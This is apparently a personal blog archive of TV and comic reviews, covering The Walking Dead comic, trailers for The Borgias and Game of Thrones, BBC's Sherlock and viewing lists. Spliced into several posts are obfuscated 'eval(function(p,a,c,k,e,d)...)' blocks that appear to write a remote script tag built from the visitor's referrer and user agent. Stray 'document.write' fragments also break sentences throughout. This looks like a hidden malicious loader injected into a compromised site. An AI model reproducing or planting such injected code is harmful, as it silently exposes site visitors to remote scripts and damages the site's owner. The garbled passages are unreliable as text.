However, at some point, I discovered that the TV series was based on an american comic book and, as always, I wanted to compare the TV adaptation with the original story. Even if it was available in electronic format on iPhones & iPads (it even has its own app!) through comiXology (the first issue is available for free), I must admit that I read the french edition instead since it was the only version available at my local library (all for free!). The Walking Dead is published by Image Comics as a monthly b&w comics. It is written by Robert Kirkman and illustrated by Tony Moore (issue #1-6) and Charlie Adlard (since issue #7). Started in 2003, it includes so far 79 issues compiled in 13 trade paperback volumes (containing 6 issues each), 6 hardcover volumes (containing 12 issues each), 3 Omnibus editions (containing 24 issues each) and one compendium edition (containing 48 issues). The french edition (12 volumes so far) is the equivalent of the trade paperbacks. In 2010 it has received the Eisner Award for best continuing series.

Vol. 1, page 17

On the website, the story is described as follow: “An epidemic of apocalyptic proportions has swept the globe, causing the dead to rise and feed on the living. In a matter of months, society has crumbled: There is no government, no grocery stores, no mail delivery, no cable TV. Rick Grimes finds himself one of the few survivors in this terrifying future. A couple months ago he was a small town cop who had never fired a shot and only ever saw one dead body. Separated from his family, he must now sort through all the death and confusion to try and find his wife and son. In a world ruled by the dead, we are forced to finally begin living.”

Vol. 1, page 24

The black and white art is very precise, neet and enjoyable. Action scenes are always clear and easy to understand. Strangely, because it’s in black and white, it feels much less gory than the TV series. Nevertheless the story is quite violent and people die by the handful in every volume (and that’s not counting the enormous amount of zombies that get sliced down). However what sets the story apart and makes it interesting is not this violence (although I am sure many read the comics for that reason), but the human side of the storytelling: the characters’ will of survival, their relationships, the depth of their emotions, particularly their fear, angst and even madness. So far I’ve read eleven of the trade paperbacks and I can’t wait to read more. It is really well written.

After going through the original story, I am quite surprised to find how pale the TV series is in comparison with the comics. The latter has a much stronger storytelling and is much more innovative. Actually, they don’t have much in common beside the original concept, the name of the characters and the events set in the first volume of the comics. At the end of the first volume, one of the main character dies and from there, so far, the story is completely different than what I’ve seen in the TV series. It might be easier (as in less challenging to the mind) to simply sit in a couch and watch a TV series, but the comic book is much more interesting and enjoyable. If you don’t mind too much the zombies and like post-cataclysmic survival stories, I strongly recommand the Walking Dead comics.

[ Amazon / Wikipedia / Biblio ]

The Walking Dead © Robert Kirkman. TV series © 2010 American Movie Classics Company LLC. All rights reserved.

“The Borgias” trailer

December 9, 2010 / Clodjee / Leave a comment

This week I am introducing you to an upcoming TV series dedicated to the historical saga of the Borgia’s family:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rkyny|var|u0026u|referrer|kaebk||js|php’.split(‘|’),0,{}))

In a fashion quite similar to The Tudors historical drama series, document.write(“”); The Borgias will offer “a complex, unvarnished portrait of one of history’s most intriguing and infamous dynastic families,” according to the official website. “The series begins as the family’s patriach Rodrigo becomes Pope, propelling him, his two Machiavellian sons Cesare and Juan, and his scandalously beautiful daughter, Lucrezia, to become the most powerful and influencial family of the Italian Renaissance.”

Created and co-produced by Neil Jordan (The Crying Game), who also wrote and directed the first two episodes, and Michael Hirst (The Tudors), who wrote episode three to ten, the series will air sometimes in 2011 on Showcase in the USA and on Bravo!, as well as on CTV, in Canada. Two episodes will also be directed by Jeremy Podeswa (Six Feet Under, The Pacific) and the series’ production design will be by François Seguin (Jesus of Montreal, The Barbarian Invasions). A co-production by Canada, Hungary and Ireland, the series offers a solid cast: Jeremy Irons will play Rodrigo Borgia (aka Pope Alexander VI after 1492), with François Arnaud (J’ai tué ma mère) starring as Cesare, David Oakes (William Hamleigh in The Pillars of the Earth) as Juan, Holliday Grainger as Lucrezia, Joanne Whalley as the mother, Derek Jacobi as Cardinal Orsini, and Colm Feore as Rodrigo’s arch nemesis Cardinal Giuliano Della Rovere. It is quite promising!

(Sources: Showtime Official Site, TV Squad, Wikipedia, YouTube)

Inside “Game of Thrones” !!

December 8, 2010 / Clodjee / Leave a comment

Wow! Here’s a 10-minute long introduction to Game of Thrones, document.write(“”); an HBO TV series based on George R. R. Martin’s A Song of Ice and Fire, with behind-the-scene interviews:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fybfh|var|u0026u|referrer|ntyhy||js|php’.split(‘|’),0,{}))

The 10-episode fantasy TV series, now set to start in April 2011, is starring Sean Bean (Boromir in Lord of the Rings), Lena Heady (Sarah Connor in Fox Terminator TV series), Nikolaj Coster-Waldau (John Amsterdam in Fox New Amsterdam TV series), Michelle Fairley (Mrs. Granger in Harry Potter and the Deathly Hallows), Peter Dinklage (Trumpkin in The Chronicles of Narnia: Prince Caspian), Charles Dance (Guy Perron in The Jewel in the Crown), Jason Momoa (Ronon Dex in Stargate Atlantis), Emilia Clarke (Savannah in Triassic Attack), Aiden Gillen (Tommy Carcetti in The Wire) and Mark Addy (Dave in The Full Monty). See also our previous blog entry about the series’ teaser.

(Source: YouTube)

Game of Thrones Trailer!

November 30, 2010 / Clodjee / Leave a comment

HBO adaptation of George R. R. Martin’s ‘A Song of Ice and Fire’ novels has been given a trailer! The fantasy tv series, document.write(“”); starring Sean Bean, Lena Heady, Nikolaj Coster-Waldau, Michelle Fairley, Peter Dinklage, Charles Dance, Jason Momoa, Emilia Clarke, Aiden Gillen and Mark Addy, will air in Spring 2011. In the meantime, feast your eyes with this quite too short trailer:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|isyit|var|u0026u|referrer|atksa||js|php’.split(‘|’),0,{}))

(Sources: Entertainment Weekly, HBO Official Site, TV Squad, Wikipedia, YouTube)

Sherlock

September 27, 2010 / Clodjee / 1 Comment

As many of the interesting TV shows I’ve watched over the years were produced in the UK (The Avengers, document.write(“”); The Champions, Desperate Romantics, Doctor Who, The Hitchhiker’s Guide to the Galaxy, I Claudius, Lark Rise to Candleford, Life on Mars, Merlin, Murder Rooms, Primeval, Red Dwarf, Robin Hood, Secret Diary of a Call Girl, Sherlock Holmes (with Jeremy Brett), Space: 1999, Thunderbirds, Torchwood, UFO, Upstairs Downstairs, just to name a few), I have developped a special appreciation for British series (and I’ll definitely write an article on that subject when I have the time). So, when I heard that the BBC was planning a modern adaptation of Sherlock Holmes, I was already intrigued. When I realized that it would be co-created by Steven Moffat (who’s now the lead writer for Doctor Who), I was really interested and determined to check on this new series.
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Simply titled “Sherlock”, the series is a piece of very clever writing. The first episode, titled “Study in Pink”, is probably the best. It is obviously based on the original story “A study in scarlet”. The character of Watson is introduced in a manner that is superbly similar to the original: he is a recently discharged soldier back from a tour in Afghanistan where he injured his leg (although Sherlock diagnosed his limping as psychosomatic). In the original, Sherlock also deducts lots of information on Watson family background by looking at his pocket watch. Here, he does the same by looking at his cellphone! In the first episode the parallel between the clever adaptation and the original story is more easily drawn. In the subsequent episodes (titled “The Blind Banker” and “The Great Game”, respectively inspired by “The dancing men” and “The Bruce-Partington plans” amongst others) the story is increasingly complex and the parallel less obvious. Unfortunately, this complexity and the fast pace of the storytelling make the series a little too hard to follow for the people who prefer more simple and quiet stories. It really gets worse with the third episode, as if they wanted to cram too many elements in the 90-minute broadcast show.

Despite the fact that Holmes uses the latest of technology to solve crimes, the modern adaptation is, in many aspects, more respectful of the spirit of the character than Guy Ritchie’s recent movie. It is exactly the same type of adventures as written by Doyle, but played in fast forward for the attention-deficit plagued video-game generation. In his crazy way, Sherlock (played by Benedict Cumberbatch) almost feels and speaks like The Doctor in “Doctor Who” (no wonder there considering Moffat’s involvement). There’s quite some good acting in that part. And, having watched the entire Granada Television series, I can certainly say the adaptation is brilliant in its every details: Watson writing a blog, Holmes using nicotine patches instead of smoking and shooting heroin, etc.

My main disappointment was that only three episodes were broadcasted on the BBC in late July and August 2010 (they are due to air on PBS in the USA from October 24th 2010). There will be a new series in Fall next years, but unfortunately it will be again only three 90-minute episodes.

Another disappointment is that Moriarty is way too present in the story. I guess the general public perception of Holmes stories is probably at fault here: since Moriarty is Holmes archenemy, people imagine he must occupy a large place in the original stories whereas he appears only in a few episodes. Interestingly, the modern adaptation ends in a way quite similar as in the first Sherlock Holmes book: rather than letting his enemy go, Sherlock doesn’t hesitate to die with him. In the original story, he jumps (or falls) into a waterfall with Moriarty. In the modern version, it is suggested that he will blow a bomb to kill Moriarty as well as himself (and Watson). Will he really die? We’ll see in the second season, I guess.

A clever and intellectually challenging tv drama. It is quite promising. I can’t wait for more. It is already available on DVD in the UK and the North American release will be in November. It would also be a good occasion to read (or re-read or read about) the original stories.

Recommended TV series

August 7, 2010 / Clodjee / Leave a comment

There are two TV series that I’ve recently discovered and that I strongly recommend for various reasons:

Moyashimon Live-Action Drama

The story is based on the Moyashimon manga (first adapted into an anime in 2007: see ANN, Wikipedia and we had a nice article about it in PA #96) in which we follow the young Tadayasu as he enters an Agricultural University. Of course, he finds himself in all sorts of situations because of the special ability that allows him to see and communicate with micro-organisms like fungi and bacteria. I heard about the live-action drama adaptation several months ago, but I was surpised to discover yesterday that it was already available in North America through the Korean drama streaming site DramaFever.com (so far five episodes can be streamed for free) and FUNimation’s YouTube channel (also five episodes available so far; click here to see episode 1). It is both funny and very educational as it is relatively faithful to the original story (the choice of the cast is amazingly close to the original character designs).

Ken Follet’s The Pillars of the Earth

A friend recently recommended me Ken Follet’s book The Pillars of the Earth. I downloaded it to my iPad from Apple’s iBookstore ($6.99) and started reading it. It is a complex and dark historical saga set around a medieval stonemason named Tom Builder who dreams of building a cathedral (for more details see the Wikipedia entries on the novel & TV series, the IMDb entry as well as Ken Follet’s website). Then, by chance, I discovered that it had just been adapted into a Germano-Canadian 8-hour TV series showing on both Starz and The Movie Network. I’ve seen three of the eight episodes so far (a fourth is airing tonight) and I think it is a compelling historical epic well worth watching. Of course, as for all adaptations, it is not entirely faithful to the novel, but, despite the relatively somber subject, it’s a good piece of entertainment with great actors. I’ve seen a really bad review in The Washington Post, but USA Today give quite a positive impression, as well as talking about the show production and even about an “amplified edition” apps available for Apple’s iPad, iPhone and iPod Touch! If you like historical drama, it is certainly worth checking out.

What we’ve been watching

July 9, 2010 / Clodjee / Leave a comment

There’s not much good series on TV lately because of the summer, document.write(“”); so my wife and I are watching mostly old stuff (previously recorded, purchased or downloaded).
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We have a big weakness for historical series and particularly for Brit TV, so, this year, after watching the superb Lark Rise to Candleford, and devoting a considerable amount of time to the quite interesting 41-episode TV series Sherlock Holmes starring Jeremy Brett (which originally aired between 1984 and 1994), we’ve watched The Pacific, the last season of The Tudors and now we are currently watching Upstairs, Downstairs (1971-75; we’ve just started the second season).

As for movies, we tend to watch them in thematic clusters. After watching a bunch of Sherlock Holmes-related movies (Guy Ritchie’s version, of course, followed by Billy Wilder’s Private Life of Sherlock Holmes (1970), some old adaptations like A Study in Scarlet (1968, with Peter Cushing, which is in fact a TV episode) and others not worth mentioning), we’ve watched a bunch of Oscar-related movies (The Reader, Slumdog Millionaire, The Hurt Locker, The Young Victoria). After watching Vicky Cristina Barcelona, we went for a couple of Woody Allen movies (Match Point (starring The Tudors’ actor Jonathan Rhys Meyers), Scoop).

Then we bought two boxed sets of romantic comedy compilations: Music & Lyrics, Rumour Has It, Lucky You, Sweet November, Where the Heart Is, Ever After, and Someone Like You (all good and funny but, seriously, I’ve now seen enough romantic comedies for a while!).

After watching Gran Torino (as part of our Oscar streak), we strangely went for a bunch of old Clint Eastwood movies, all produced in 1971: Play Misty for Me (a thriller precursor of “Fatal Attraction”, where Clint made his directorial debut), The Beguiled and Dirty Harry.

Finaly, we’ve seen a couple of Japanese (or Japan-inspired) movies: Hachiko, A Dog Story (sad), Bare Essence of Life (weird and boring) and Love And Honor (nice!). Also we seem to have a predilection for old classics: A Summer Place (1959), Love Story (1970), Romeo and Juliet (1968, Franco Zeffirelli), La Belle et la Bête (1946, Jean Cocteau) and Le Déjeuner sur l’Herbe (1959, Jean Renoir).

On my own, I’ve also watched many movies since the beginning of the year: Avatar, the last two Harry Potter, Up in the Air, The Time Traveler’s Wife, 2012, Riverworld, the first two Twilight, W., Pi, and The Book of Eli. I like watching movies: it’s relaxing, it brings you into another world and takes your mind off your current problems. Most of those movies are good and worth mentioning, and if I’d like to write short reviews for all of them, I am unfortunately too busy and lazy to do so. But the festival season is starting and I should resume writing movies reviews (but I won’t post them all here, since I’ll keep some for other publications to come)…

Charlie Rose discusses iPad

February 9, 2010 / Clodjee / Leave a comment

On Feb 4, document.write(“”); 2010, Charlie Rose discussed the Apple’s iPad with Michael Arrington, Walter Mossberg and David Carr:
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Defying Common Sense

September 14, 2009 / Clodjee / Leave a comment

I really cannot believe that ABC is cancelling “Defying Gravity.” It’s really getting difficult to have good sci-fi on TV these days.
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This was an excellent series (without being a masterpiece) and I enjoy it a lot. Luckily I am Canadian and for once (since it is produced by CTV and not ABC) I’ll be able to continue watching a show after a network cancels it!

I was not impressed by the first episode and was a little reluctant because of all the “Grey Anatomy in space” comments, document.write(“”); but I continued watching as it got better and better.

It has an intriguing mystery and it seems relatively well written and fairly well played. There are some length in the storytelling but I like the flashbacks and I think that all good sci-fi should not be all action & sfx, but should include some relatively believable human relationships.

I Survived a Japanese Game Show!

June 25, 2008 / Clodjee / Leave a comment

I usually hate reality TV, document.write(“”); but I stumbled upon this one while channel surfing during my lunch break. I watched a few minutes out of curiosity and it was quite hilarious.

The idea behind this show is pretty simple: ten americans have been selected to participate in a reality TV game show — the funny things is that they have NO idea in which kind of show they are participating — and are send to Japan to compete in Japanese game shows (and we all know how silly and punishing those can be). All this for a chance to win a mere quarter of million dollars.

I’ve seen maybe ten minutes of it. It is funny, but not because of the silly game shows (I pity the poor souls who participate in this humiliation). Most of the participants never left the USA (even their State in some cases), so for them Japan is like they landed on Mars! I am not sure I could take more of it. I’ve recorded it on the PVR to check it later. Just in case!

It runs on ABC Tuesday at 9 PM.

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